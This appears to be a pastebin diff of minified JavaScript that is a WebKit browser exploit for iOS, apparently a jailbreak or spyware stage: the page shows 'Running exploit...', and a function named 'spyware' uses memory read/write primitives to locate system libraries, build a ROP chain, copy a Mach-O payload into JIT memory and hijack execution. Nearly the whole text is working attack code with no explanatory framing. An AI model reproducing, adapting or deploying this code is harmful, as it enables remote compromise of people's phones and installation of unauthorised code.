View difference between Paste ID: PyVApMPu and ZiT7U3bt
SHOW: | | - or go back to the newest paste.
1
var $jscomp = $jscomp || {};
2
$jscomp.scope = {};
3
$jscomp.ASSUME_ES5 = !1;
4
$jscomp.ASSUME_NO_NATIVE_MAP = !1;
5
$jscomp.ASSUME_NO_NATIVE_SET = !1;
6
$jscomp.defineProperty = $jscomp.ASSUME_ES5 || "function" == typeof Object.defineProperties ? Object.defineProperty : function(a, d, e) {
7
 a != Array.prototype && a != Object.prototype && (a[d] = e.value)
8
};
9
$jscomp.getGlobal = function(a) {
10
 return "undefined" != typeof window && window === a ? a : "undefined" != typeof global && null != global ? global : a
11
};
12
$jscomp.global = $jscomp.getGlobal(this);
13
$jscomp.SYMBOL_PREFIX = "jscomp_symbol_";
14
$jscomp.initSymbol = function() {
15
 $jscomp.initSymbol = function() {};
16
 $jscomp.global.Symbol || ($jscomp.global.Symbol = $jscomp.Symbol)
17
};
18
$jscomp.Symbol = function() {
19
 var a = 0;
20
 return function(d) {
21
  return $jscomp.SYMBOL_PREFIX + (d || "") + a++
22
 }
23
}();
24
$jscomp.initSymbolIterator = function() {
25
 $jscomp.initSymbol();
26
 var a = $jscomp.global.Symbol.iterator;
27
 a || (a = $jscomp.global.Symbol.iterator = $jscomp.global.Symbol("iterator"));
28
 "function" != typeof Array.prototype[a] && $jscomp.defineProperty(Array.prototype, a, {
29
  configurable: !0,
30
  writable: !0,
31
  value: function() {
32
   return $jscomp.arrayIterator(this)
33
  }
34
 });
35
 $jscomp.initSymbolIterator = function() {}
36
};
37
$jscomp.initSymbolAsyncIterator = function() {
38
 $jscomp.initSymbol();
39
 var a = $jscomp.global.Symbol.asyncIterator;
40
 a || (a = $jscomp.global.Symbol.asyncIterator = $jscomp.global.Symbol("asyncIterator"));
41
 $jscomp.initSymbolAsyncIterator = function() {}
42
};
43
$jscomp.arrayIterator = function(a) {
44
 var d = 0;
45
 return $jscomp.iteratorPrototype(function() {
46
  return d < a.length ? {
47
   done: !1,
48
   value: a[d++]
49
  } : {
50
   done: !0
51
  }
52
 })
53
};
54
$jscomp.iteratorPrototype = function(a) {
55
 $jscomp.initSymbolIterator();
56
 a = {
57
  next: a
58
 };
59
 a[$jscomp.global.Symbol.iterator] = function() {
60
  return this
61
 };
62
 return a
63
};
64
$jscomp.polyfill = function(a, d, e, h) {
65
 if (d) {
66
  e = $jscomp.global;
67
  a = a.split(".");
68
  for (h = 0; h < a.length - 1; h++) {
69
   var r = a[h];
70
   r in e || (e[r] = {});
71
   e = e[r]
72
  }
73
  a = a[a.length - 1];
74
  h = e[a];
75
  d = d(h);
76
  d != h && null != d && $jscomp.defineProperty(e, a, {
77
   configurable: !0,
78
   writable: !0,
79
   value: d
80
  })
81
 }
82
};
83
$jscomp.polyfill("Array.from", function(a) {
84
 return a ? a : function(a, e, h) {
85
  $jscomp.initSymbolIterator();
86
  e = null != e ? e : function(a) {
87
   return a
88
  };
89
  var d = [],
90
   y = a[Symbol.iterator];
91
  if ("function" == typeof y) {
92
   a = y.call(a);
93
   for (var l = 0; !(y = a.next()).done;) d.push(e.call(h, y.value, l++))
94
  } else
95
   for (y = a.length, l = 0; l < y; l++) d.push(e.call(h, a[l], l));
96
  return d
97
 }
98
}, "es6", "es3");
99
$jscomp.checkStringArgs = function(a, d, e) {
100
 if (null == a) throw new TypeError("The 'this' value for String.prototype." + e + " must not be null or undefined");
101
 if (d instanceof RegExp) throw new TypeError("First argument to String.prototype." + e + " must not be a regular expression");
102
 return a + ""
103
};
104
$jscomp.polyfill("String.prototype.startsWith", function(a) {
105
 return a ? a : function(a, e) {
106
  var d = $jscomp.checkStringArgs(this, a, "startsWith");
107
  a += "";
108
  var r = d.length,
109
   y = a.length;
110
  e = Math.max(0, Math.min(e | 0, d.length));
111
  for (var l = 0; l < y && e < r;)
112
   if (d[e++] != a[l++]) return !1;
113
  return l >= y
114
 }
115
}, "es6", "es3");
116
$jscomp.iteratorFromArray = function(a, d) {
117
 $jscomp.initSymbolIterator();
118
 a instanceof String && (a += "");
119
 var e = 0,
120
  h = {
121
   next: function() {
122
    if (e < a.length) {
123
     var r = e++;
124
     return {
125
      value: d(r, a[r]),
126
      done: !1
127
     }
128
    }
129
    h.next = function() {
130
     return {
131
      done: !0,
132
      value: void 0
133
     }
134
    };
135
    return h.next()
136
   }
137
  };
138
 h[Symbol.iterator] = function() {
139
  return h
140
 };
141
 return h
142
};
143
$jscomp.polyfill("Array.prototype.keys", function(a) {
144
 return a ? a : function() {
145
  return $jscomp.iteratorFromArray(this, function(a) {
146
   return a
147
  })
148
 }
149
}, "es6", "es3");
150
$jscomp.owns = function(a, d) {
151
 return Object.prototype.hasOwnProperty.call(a, d)
152
};
153
$jscomp.polyfill("Object.values", function(a) {
154
 return a ? a : function(a) {
155
  var e = [],
156
   d;
157
  for (d in a) $jscomp.owns(a, d) && e.push(a[d]);
158
  return e
159
 }
160
}, "es8", "es3");
161
162
function hex(a) {
163
 return ("0" + a.toString(16)).substr(-2)
164
}
165
166
function hexlify(a) {
167
 for (var d = [], e = 0; e < a.length; e++) d.push(hex(a[e]));
168
 return d.join("")
169
}
170
171
function unhexlify(a) {
172
 if (1 == a.length % 2) throw new TypeError("Invalid hex string");
173
 for (var d = new Uint8Array(a.length / 2), e = 0; e < a.length; e += 2) d[e / 2] = parseInt(a.substr(e, 2), 16);
174
 return d
175
}
176
177
function hexdump(a) {
178
 "undefined" !== typeof a.BYTES_PER_ELEMENT && (a = Array.from(a));
179
 for (var d = [], e = 0; e < a.length; e += 16) {
180
  var h = a.slice(e, e + 16).map(hex);
181
  8 < h.length && h.splice(8, 0, " ");
182
  d.push(h.join(" "))
183
 }
184
 return d.join("\n")
185
}
186
var Struct = function() {
187
 var a = new ArrayBuffer(8),
188
  d = new Uint8Array(a),
189
  e = new Uint32Array(a),
190
  h = new Float64Array(a);
191
 return {
192
  pack: function(e, d) {
193
   e[0] = d;
194
   return new Uint8Array(a, 0, e.BYTES_PER_ELEMENT)
195
  },
196
  unpack: function(a, e) {
197
   if (e.length !== a.BYTES_PER_ELEMENT) throw Error("Invalid bytearray");
198
   d.set(e);
199
   return a[0]
200
  },
201
  int8: d,
202
  int32: e,
203
  float64: h
204
 }
205
}();
206
207
function ab2str(a) {
208
 return String.fromCharCode.apply(null, new Uint16Array(a))
209
}
210
211
function str2ab(a) {
212
 for (var d = new ArrayBuffer(2 * a.length), e = new Uint16Array(d), h = 0, r = a.length; h < r; h++) e[h] = a.charCodeAt(h);
213
 return d
214
};
215
/\b10_\S+ like Mac OS X/.test(navigator.userAgent) || (window.crypto.subtle || window.crypto.webkitSubtle).digest({
216
 name: "SHA-1"
217
}, str2ab(window.location.hash)).then(function(a) {
218
 if ("9e04130fa02fc3c416f28ba556f0165da4d93054" != hexlify(new Uint8Array(a))) throw null;
219
}).catch(function() {
220
 window.location.replace("incompatible.html")
221
});
222
window.addEventListener("DOMContentLoaded", function() {
223
 (function(a) {
224
  var d = document.getElementById("thumbtack"),
225
   e = document.getElementById("hint"),
226
   h = 0,
227
   r = null,
228
   y = d.parentNode.clientWidth - d.clientWidth - 5,
229
   l = null,
230
   p = function(a) {
231
    h = a;
232
    e.style.opacity = 1 - a / (.25 * y);
233
    d.style.left = a + "px"
234
   },
235
   g = function(a) {
236
    r = a;
237
    l = h;
238
    d.style.WebkitTransitionProperty = "";
239
    d.style.WebkitTransitionDuration = "0s";
240
    return !1
241
   },
242
   m = function(a) {
243
    null !== r && (a -= r, 0 > a ? a = 0 : a >= y && (a = y), p(a + l))
244
   },
245
   O = function() {
246
    if (null !== r) {
247
     r = null;
248
     if (.9 <= h / y) return p(y), a(), !1;
249
     var e =
250
      h;
251
     p(0);
252
     d.style.WebkitTransform = "translateX(" + e + "px)";
253
     setTimeout(function() {
254
      d.style.WebkitTransitionProperty = "-webkit-transform";
255
      d.style.WebkitTransitionDuration = "0.25s";
256
      d.style.WebkitTransform = "translateX(0px)"
257
     }, 0);
258
     return !1
259
    }
260
   };
261
  d.ontouchstart = function(a) {
262
   return g(a.targetTouches[0].clientX)
263
  };
264
  window.ontouchmove = function(a) {
265
   return m(a.targetTouches[0].clientX)
266
  };
267
  window.ontouchend = function(a) {
268
   return O()
269
  };
270
  d.onmousedown = function(a) {
271
   return g(a.clientX)
272
  };
273
  window.onmousemove = function(a) {
274
   return m(a.clientX)
275
  };
276
  window.onmouseup = function(a) {
277
   return O()
278
  };
279
  return this
280
 })(function() {
281
  var a = document.getElementById("logo");
282
  a.parentNode.removeChild(a);
283
  document.body.className = "wait";
284
  document.getElementById("notice").textContent = "Running exploit...";
285
  window.setTimeout(function() {
286
   window.go()
287
  }, 10)
288
 });
289
 window.ontouchstart = function(a) {
290
  a.preventDefault();
291
  return !1
292
 }
293
});
294
295
function Int64(a) {
296
 function d(a, e) {
297
  return function() {
298
   if (arguments.length != e) throw Error("Not enough arguments for function " + a.name);
299
   for (var d = 0; d < arguments.length; d++) arguments[d] instanceof Int64 || (arguments[d] = new Int64(arguments[d]));
300
   return a.apply(this, arguments)
301
  }
302
 }
303
 var e = new Uint8Array(8);
304
 switch (typeof a) {
305
  case "number":
306
   a = "0x" + Math.floor(a).toString(16);
307
  case "string":
308
   a.startsWith("0x") && (a = a.substr(2));
309
   1 == a.length % 2 && (a = "0" + a);
310
   a = unhexlify(a, 8);
311
   e.set(Array.from(a).reverse());
312
   break;
313
  case "object":
314
   if (a instanceof Int64) e.set(a.bytes());
315
   else {
316
    if (8 != a.length) throw TypeError("Array must have excactly 8 elements.");
317
    e.set(a)
318
   }
319
   break;
320
  case "undefined":
321
   break;
322
  default:
323
   throw TypeError("Int64 constructor requires an argument.");
324
 }
325
 this.asDouble = function() {
326
  if (255 == e[7] && (255 == e[6] || 254 == e[6])) throw new RangeError("Integer can not be represented by a double");
327
  return Struct.unpack(Struct.float64, e)
328
 };
329
 this.asJSValue = function() {
330
  if (0 == e[7] && 0 == e[6] || 255 == e[7] && 255 == e[6]) throw new RangeError("Integer can not be represented by a JSValue");
331
  this.assignSub(this, 281474976710656);
332
  var a = Struct.unpack(Struct.float64, e);
333
  this.assignAdd(this, 281474976710656);
334
  return a
335
 };
336
 this.bytes = function() {
337
  return Array.from(e)
338
 };
339
 this.byteAt = function(a) {
340
  return e[a]
341
 };
342
 this.toString = function() {
343
  return "0x" + hexlify(Array.from(e).reverse())
344
 };
345
 this.lo = function() {
346
  var a = this.bytes();
347
  return (a[0] | a[1] << 8 | a[2] << 16 | a[3] << 24) >>> 0
348
 };
349
 this.hi = function() {
350
  var a = this.bytes();
351
  return (a[4] | a[5] << 8 | a[6] << 16 | a[7] << 24) >>> 0
352
 };
353
 this.assignNeg = d(function(a) {
354
  for (var d = 0; 8 > d; d++) e[d] = ~a.byteAt(d);
355
  return this.assignAdd(this, Int64.One)
356
 }, 1);
357
 this.assignAdd = d(function(a, d) {
358
  for (var h = 0, l = 0; 8 > l; l++) {
359
   var p = a.byteAt(l) + d.byteAt(l) + h;
360
   h = 255 < p | 0;
361
   e[l] = p
362
  }
363
  return this
364
 }, 2);
365
 this.assignSub = d(function(a, d) {
366
  for (var h = 0, l = 0; 8 > l; l++) {
367
   var p = a.byteAt(l) - d.byteAt(l) - h;
368
   h = 0 > p | 0;
369
   e[l] = p
370
  }
371
  return this
372
 }, 2)
373
}
374
Int64.fromDouble = function(a) {
375
 a = Struct.pack(Struct.float64, a);
376
 return new Int64(a)
377
};
378
379
function Neg(a) {
380
 return (new Int64).assignNeg(a)
381
}
382
383
function Add(a, d) {
384
 return (new Int64).assignAdd(a, d)
385
}
386
387
function Sub(a, d) {
388
 return (new Int64).assignSub(a, d)
389
}
390
Int64.Zero = new Int64(0);
391
Int64.One = new Int64(1);
392
(function() {
393
 function a(a, d) {
394
  d instanceof Int64 || (d = new Int64(d));
395
  for (var e = 0; e < a.length; ++e) {
396
   var g = a[e].fileoff,
397
    p = Add(g, a[e].size);
398
   if ((g.hi() < d.hi() || g.hi() == d.hi() && g.lo() <= d.lo()) && (p.hi() > d.hi() || p.hi() == d.hi() && p.lo() > d.lo())) return Add(a[e].addr, Sub(d, g))
399
  }
400
  return new Int64("0x4141414141414141")
401
 }
402
403
 function d(d, g, h, l, r) {
404
  l = Array.from(l);
405
  void 0 === r && (r = {});
406
  for (var p = null, k = d.u32(Add(g, 16)), n = 0, m = 32; n < k; ++n) {
407
   if (2 == d.u32(Add(g, m))) {
408
    p = d.read(Add(g, m + 8), 16);
409
    p = {
410
     symoff: b2u32(p.slice(0, 4)),
411
     nsyms: b2u32(p.slice(4,
412
      8)),
413
     stroff: b2u32(p.slice(8, 12)),
414
     strsize: b2u32(p.slice(12, 16))
415
    };
416
    break
417
   }
418
   m += d.u32(Add(g, m + 4))
419
  }
420
  null == p && fail("stab");
421
  var y = a(h, p.stroff),
422
   B = 0;
423
  g = function(a) {
424
   return d.read(Add(y, B + a), 1)[0]
425
  };
426
  for (n = 0; n < p.nsyms && 0 < l.length; ++n)
427
   for (B = d.u32(a(h, p.symoff + 16 * n)), k = 0; k < l.length; ++k)
428
    if (m = l[k], e(g, m)) {
429
     r[m] = d.readInt64(a(h, p.symoff + 16 * n + 8));
430
     l.splice(k, 1);
431
     break
432
    }
433
  return r
434
 }
435
436
 function e(a, d) {
437
  for (var e = "function" == typeof a ? a : function(d) {
438
    return a[d]
439
   }, g = 0; g < d.length; ++g)
440
   if (e(g) != d.charCodeAt(g)) return !1;
441
  return 0 == e(d.length)
442
 }
443
444
 function h(a) {
445
  return b2u32(this.read(a, 4))
446
 }
447
448
 function r(a, d) {
449
  a instanceof Int64 && (a = a.lo());
450
  d instanceof Int64 && (d = d.lo());
451
  a + d > this.length && fail("OOB read: " + a + " -> " + (a + d) + ", size: " + d);
452
  return this.slice(a, a + d)
453
 }
454
455
 function y(a) {
456
  return new Int64(this.read(a, 8))
457
 }
458
459
 function l(a, d) {
460
  a instanceof Int64 && (a = a.lo());
461
  this.set(d.bytes(), a)
462
 }
463
 window.fail = function(a) {
464
  alert("FAIL: " + a);
465
  location.reload();
466
  throw null;
467
 };
468
 window.b2u32 = function(a) {
469
  return (a[0] | a[1] << 8 | a[2] << 16 | a[3] << 24) >>> 0
470
 };
471
 window.spyware = function(p, g, m) {
472
  var O =
473
   document.createElement("div"),
474
   J = p.addrof(O);
475
  J = g.readInt64(J + 24);
476
  var T = g.readInt64(J);
477
  g.u32 = h;
478
  for (var k = g.readInt64(T), n = Sub(k, k.lo() & 4095); !e(g.read(n, 16), "dyld_v1   arm64");) n = Sub(n, 4096);
479
  var x = null,
480
   F = g.u32(Add(n, 20)),
481
   B = g.read(Add(n, g.u32(Add(n, 16))), 32 * F),
482
   z = [];
483
  for (k = 0; k < F; ++k) {
484
   var f = 32 * k;
485
   f = {
486
    addr: new Int64(B.slice(f + 0, f + 8)),
487
    size: new Int64(B.slice(f + 8, f + 16)),
488
    fileoff: new Int64(B.slice(f + 16, f + 24)),
489
    maxprot: b2u32(B.slice(f + 24, f + 28)),
490
    initprot: b2u32(B.slice(f + 28, f + 32))
491
   };
492
   z.push(f);
493
   0 != f.fileoff.hi() || 0 !=
494
    f.fileoff.lo() || 0 == f.size.hi() && 0 == f.size.lo() || (x = f)
495
  }
496
  null == x && fail("base_seg");
497
  F = Sub(n, x.addr);
498
  for (k = 0; k < z.length; ++k) z[k].addr = Add(z[k].addr, F);
499
  var K = {
500
   "/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"],
501
   "/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"],
502
   "/usr/lib/system/libsystem_c.dylib": ["_usleep"],
503
   "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC32startOfFixedExecutableMemoryPoolE", "__ZN3JSC30endOfFixedExecutableMemoryPoolE"]
504
  };
505
  if (/\b10_\S+ like Mac OS X/.test(navigator.userAgent)) {
506
   B = {
507
    regloader: [2853635040, 2853569505, 2853700578, 2853766115, 2853831652, 2853897189, 3594453888],
508
    dispatch: [3594453664, 2839772157, 2839695348, 2839631862, 2432762879, 3596551104],
509
    altdispatch: [3594453664, 3506471871, 2839706621, 2839629812, 2831374326, 3596551104],
510
    stackloader: [2839968765, 2839891956, 2839828470, 2839764984, 2839701498, 2839638012, 2432812031, 3596551104],
511
    altstackloader: [3506521023, 2839903229, 2839826420, 2839762934, 2839699448, 2839635962, 2831577084, 3596551104]
512
   };
513
   var Q = ["/usr/lib/libLLVM.dylib"]
514
  } else K["/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore"].push("__ZN3JSC29jitWriteSeparateHeapsFunctionE"), B = {
515
   ldrx8: [4181722088, 4177527400, 2839706621, 2839629812, 2432746495, 3596551104],
516
   dispatch: [3594453664, 2839772157, 2839695348, 2839631862, 2432762879, 3596551104],
517
   regloader: [2853569507, 2853897190, 2853700576, 2853372897, 2853635042, 4181722084, 3594453248],
518
   stackloader: [2839968765, 2839891956, 2839828470, 2839764984, 2839701498, 2839638012, 2432812031, 3596551104],
519
   movx4: [2853438436, 3594453248],
520
   ldrx0x0: [4181721088]
521
  }, Q = ["/usr/lib/PN548.dylib", "/usr/lib/libc++.1.dylib"];
522
  x = {};
523
  var C = {},
524
   D = Add(n, g.u32(Add(n, 24)));
525
  n = g.u32(Add(n, 28));
526
  for (k = 0; k < n; ++k) {
527
   var Y = a(z, g.u32(Add(D, 32 * k + 24))),
528
    U = function(a) {
529
     return g.read(Add(Y, a), 1)[0]
530
    },
531
    t = Add(g.readInt64(Add(D, 32 * k)), F);
532
   if (Q.some(function(a) {
533
     return e(U, a)
534
    })) {
535
    var u = g.u32(Add(t, 16)),
536
     q = 0;
537
    for (f = 32; q < u; ++q) {
538
     var v = g.u32(Add(t, f));
539
     if (25 == v && e(g.read(Add(t, f + 8), 16), "__TEXT")) {
540
      v = g.u32(Add(t, f + 64));
541
      u = 0;
542
      for (q = f + 72; u < v; ++u) {
543
       if (e(g.read(Add(t,
544
         q), 16), "__text")) {
545
        f = Object.keys(B).filter(function(a) {
546
         return !C.hasOwnProperty[a]
547
        });
548
        if (0 == f.length) break;
549
        u = {};
550
        for (var w = 0; w < f.length; ++w) u[f[w]] = 0;
551
        v = Add(g.readInt64(Add(t, q + 32)), F);
552
        t = g.u32(Add(t, q + 40));
553
        q = new Uint32Array(t / 4);
554
        for (w = 0; w < t; w += 4096) {
555
         var E = 4096;
556
         t - w < E && (E = t - w);
557
         for (var L = g.read(Add(v, w), E), A = 0; A < E; A += 4) {
558
          var I = b2u32(L.slice(A, A + 4));
559
          q[(w + A) / 4] = I
560
         }
561
        }
562
        for (E = 0; E < t && 0 < f.length; E++)
563
         for (L = q[E], w = 0; w < f.length; w++)
564
          if (A = f[w], I = B[A], L == I[u[A]]) {
565
           if (u[A]++, u[A] == I.length) {
566
            C[A] = Add(v, 4 * (E - (I.length - 1)));
567
            f.splice(w,
568
             1);
569
            break
570
           }
571
          } else u[A] = 0;
572
        break
573
       }
574
       q += 80
575
      }
576
      break
577
     }
578
     f += g.u32(Add(t, f + 4))
579
    }
580
   } else {
581
    f = null;
582
    u = Object.keys(K);
583
    for (q = 0; q < u.length; ++q)
584
     if (e(U, u[q])) {
585
      f = K[u[q]];
586
      break
587
     }
588
    null != f && d(g, t, z, f, x)
589
   }
590
  }
591
  C.dispatch || (C.dispatch = C.altdispatch);
592
  C.stackloader || (C.stackloader = C.altstackloader);
593
  delete B.altdispatch;
594
  delete B.altstackloader;
595
  u = Object.values(K).reduce(function(a, b) {
596
   b.forEach(function(b) {
597
    a.push(b)
598
   });
599
   return a
600
  }, []);
601
  for (k = 0; k < u.length; ++k) z = u[k], null == x[z] && fail(z), x[z] = Add(x[z], F);
602
  u = Object.keys(B);
603
  for (k = 0; k < u.length; ++k) z = u[k],
604
   null == C[z] && fail(z);
605
  F = x.__longjmp;
606
  var R = C.regloader,
607
   M = C.dispatch,
608
   S = C.stackloader,
609
   P = C.ldrx8,
610
   V = C.movx4,
611
   W = new Int64(g.readInt64(x._mach_task_self_).lo()),
612
   X = x.__kernelrpc_mach_vm_protect_trap;
613
  B = x.__platform_memmove;
614
  K = x._usleep;
615
  Q = g.readInt64(x.__ZN3JSC32startOfFixedExecutableMemoryPoolE);
616
  z = g.readInt64(x.__ZN3JSC30endOfFixedExecutableMemoryPoolE);
617
  x = x.__ZN3JSC29jitWriteSeparateHeapsFunctionE ? g.readInt64(x.__ZN3JSC29jitWriteSeparateHeapsFunctionE) : Int64.Zero;
618
  m.u32 = h;
619
  m.read = r;
620
  m.readInt64 = y;
621
  m.writeInt64 = l;
622
  D = new Int64("0xffffffffffffffff");
623
  n = new Int64(0);
624
  u = m.u32(16);
625
  k = 0;
626
  for (f = 32; k < u; ++k) {
627
   v = m.u32(f);
628
   if (25 == v && (q = m.readInt64(f + 48), 0 != q.hi() || 0 != q.lo())) {
629
    t = m.readInt64(f + 24);
630
    v = m.readInt64(f + 32);
631
    v = Add(t, v);
632
    if (t.hi() < D.hi() || t.hi() == D.hi() && t.lo() <= D.lo()) D = t;
633
    if (v.hi() > n.hi() || v.hi() == n.hi() && v.lo() > n.lo()) n = v
634
   }
635
   f += m.u32(f + 4)
636
  }
637
  n = Sub(n, D);
638
  0 != n.hi() && fail("shsz");
639
  w = new Uint8Array(n.lo());
640
  t = g.readInt64(Add(p.addrof(w), 16));
641
  var H = Sub(z, n);
642
  H = Sub(H, H.lo() & 16383);
643
  E = Sub(H, D);
644
  z = [];
645
  f = 32;
646
  for (k = 0; k < u; ++k) {
647
   v = m.u32(f);
648
   if (25 ==
649
    v && (q = m.readInt64(f + 48), 0 != q.hi() || 0 != q.lo())) {
650
    L = m.readInt64(f + 24);
651
    v = m.readInt64(f + 32);
652
    A = m.readInt64(f + 40);
653
    I = m.readInt64(f + 56);
654
    if (v.hi() < q.hi() || v.hi() == q.hi() && v.lo() <= q.lo()) q = v;
655
    z.push({
656
     addr: Sub(L, D),
657
     size: q,
658
     fileoff: A,
659
     prots: I
660
    });
661
    0 != A.hi() && fail("fileoff");
662
    0 != q.hi() && fail("filesize");
663
    A = A.lo();
664
    q = q.lo();
665
    w.set(m.slice(A, A + q), Sub(L, D).lo())
666
   }
667
   f += m.u32(f + 4)
668
  }
669
  w.u32 = h;
670
  w.read = r;
671
  w.readInt64 = y;
672
  m = d(w, 0, z, ["genesis"]);
673
  null == m.genesis && fail("genesis");
674
  m = Add(m.genesis, E);
675
  g.writeInt64(Add(T, 24), F);
676
  g.writeInt64(Add(J,
677
   88), S);
678
  f = 4096;
679
  var c = new Uint32Array(1048576),
680
   G = g.readInt64(Add(p.addrof(c), 16)),
681
   b = 1048576 - f,
682
   Z = function(a, d, e, f, g, h, k) {
683
    h = h || Int64.Zero;
684
    c[b++] = 3735879696;
685
    c[b++] = 3735879697;
686
    c[b++] = 3735879698;
687
    c[b++] = 3735879699;
688
    c[b++] = M.lo();
689
    c[b++] = M.hi();
690
    c[b++] = 3735879700;
691
    c[b++] = 3735879701;
692
    c[b++] = h.lo();
693
    c[b++] = h.hi();
694
    c[b++] = g.lo();
695
    c[b++] = g.hi();
696
    c[b++] = f.lo();
697
    c[b++] = f.hi();
698
    c[b++] = d.lo();
699
    c[b++] = d.hi();
700
    c[b++] = e.lo();
701
    c[b++] = e.hi();
702
    c[b++] = a.lo();
703
    c[b++] = a.hi();
704
    c[b++] = 3735879704;
705
    c[b++] = 3735879705;
706
    c[b++] = 3735879706;
707
    c[b++] = 3735879707;
708
    a = b;
709
    c[b++] = Add(G, 4 * a + 64).lo();
710
    c[b++] = Add(G, 4 * a + 64).hi();
711
    c[b++] = R.lo();
712
    c[b++] = R.hi();
713
    c[b++] = 3735879712;
714
    c[b++] = 3735879713;
715
    c[b++] = 3735879714;
716
    c[b++] = 3735879715;
717
    c[b++] = 3735879716;
718
    c[b++] = 3735879717;
719
    c[b++] = 3735879718;
720
    c[b++] = 3735879719;
721
    c[b++] = 3735879720;
722
    c[b++] = 3735879721;
723
    c[b++] = 3735879722;
724
    c[b++] = 3735879723;
725
    a = b;
726
    c[b++] = Add(G, 4 * a + 112).lo();
727
    c[b++] = Add(G, 4 * a + 112).hi();
728
    c[b++] = k.lo();
729
    c[b++] = k.hi()
730
   },
731
   aa = function(a, d, e, f, g, h, k) {
732
    c[b++] = 3735879696;
733
    c[b++] = 3735879697;
734
    c[b++] = 3735879698;
735
    c[b++] = 3735879699;
736
    c[b++] = 3735884033;
737
    c[b++] = 3735884034;
738
    c[b++] = 3735879700;
739
    c[b++] = 3735879701;
740
    c[b++] = 3735879702;
741
    c[b++] = 3735879703;
742
    c[b++] = g.lo();
743
    c[b++] = g.hi();
744
    c[b++] = d.lo();
745
    c[b++] = d.hi();
746
    c[b++] = f.lo();
747
    c[b++] = f.hi();
748
    c[b++] = g.lo();
749
    c[b++] = g.hi();
750
    c[b++] = a.lo();
751
    c[b++] = a.hi();
752
    c[b++] = 3735879704;
753
    c[b++] = 3735879705;
754
    d = b;
755
    c[b++] = Add(G, 4 * d).lo();
756
    c[b++] = Add(G, 4 * d).hi();
757
    c[b++] = 3735879708;
758
    c[b++] = 3735879709;
759
    c[b++] = P.lo();
760
    c[b++] = P.hi();
761
    h ? (c[b++] = S.lo(), c[b++] = S.hi()) : (c[b++] = M.lo(), c[b++] = M.hi());
762
    c[b++] = 3735884801;
763
    c[b++] = 3735884802;
764
    c[b++] = 3735884545;
765
    c[b++] =
766
     3735884546;
767
    c[b++] = e.lo();
768
    c[b++] = e.hi();
769
    c[b++] = 3735884289;
770
    c[b++] = 3735884290;
771
    c[b++] = R.lo();
772
    c[b++] = R.hi();
773
    h && (c[b++] = 3668770832, c[b++] = 3668770833, c[b++] = 3668770834, c[b++] = 3668770835, c[b++] = 3668775169, c[b++] = 3668775170, c[b++] = 3668770836, c[b++] = 3668770837, c[b++] = 3668770838, c[b++] = 3668770839, c[b++] = 3668770840, c[b++] = 3668770841, c[b++] = 3668771056, c[b++] = 3668771057, c[b++] = 3668771058, c[b++] = 3668771059, c[b++] = 3668771060, c[b++] = 3668771061, c[b++] = a.lo(), c[b++] = a.hi(), c[b++] = 3668770840, c[b++] = 3668770841, d = b, c[b++] =
774
     Add(G, 4 * d).lo(), c[b++] = Add(G, 4 * d).hi(), c[b++] = 3668770844, c[b++] = 3668770845, c[b++] = P.lo(), c[b++] = P.hi(), c[b++] = M.lo(), c[b++] = M.hi(), c[b++] = 3668775937, c[b++] = 3668775938, c[b++] = h.lo(), c[b++] = h.hi(), c[b++] = 3668775681, c[b++] = 3668775682, c[b++] = 3668775425, c[b++] = 3668775426, c[b++] = V.lo(), c[b++] = V.hi());
775
    c[b++] = 3735879714;
776
    c[b++] = 3735879715;
777
    c[b++] = 3735879714;
778
    c[b++] = 3735879715;
779
    c[b++] = 3735879716;
780
    c[b++] = 3735879717;
781
    c[b++] = 3735879718;
782
    c[b++] = 3735879719;
783
    c[b++] = 3735879720;
784
    c[b++] = 3735879721;
785
    c[b++] = 3735879722;
786
    c[b++] =
787
     3735879723;
788
    c[b++] = 3735879724;
789
    c[b++] = 3735879725;
790
    c[b++] = k.lo();
791
    c[b++] = k.hi()
792
   },
793
   N = function(a, b, c, d, e, g, f) {
794
    b = b || Int64.Zero;
795
    c = c || Int64.Zero;
796
    d = d || Int64.Zero;
797
    e = e || Int64.Zero;
798
    f = f || S;
799
    return (P ? aa : Z)(a, b, c, d, e, g, f)
800
   };
801
  /\b10_\S+ like Mac OS X/.test(navigator.userAgent) ? (N(X, W, H, n, new Int64(0), new Int64(7)), N(B, H, t, n)) : (x.lo() || x.hi() ? N(x, Sub(H, Q), t, n) : fail("bi0n1c (c)"), z.forEach(function(a) {
802
   if (a.prots.hi() & 2) {
803
    var b = Add(a.addr, H);
804
    N(X, W, b, a.size, new Int64(0), new Int64(19))
805
   }
806
  }));
807
  N(K, new Int64(1E5));
808
  N(m);
809
  for (k = 0; 32 >
810
   k; ++k) c[b++] = 3724591326 + (k << 16);
811
  p = Add(G, 4 * (1048576 - f));
812
  g.writeInt64(Add(J, 96), Add(p, 96));
813
  g.writeInt64(Add(J, 104), p);
814
  O.addEventListener("click", function() {});
815
  fail("should never reach this")
816
 }
817
})();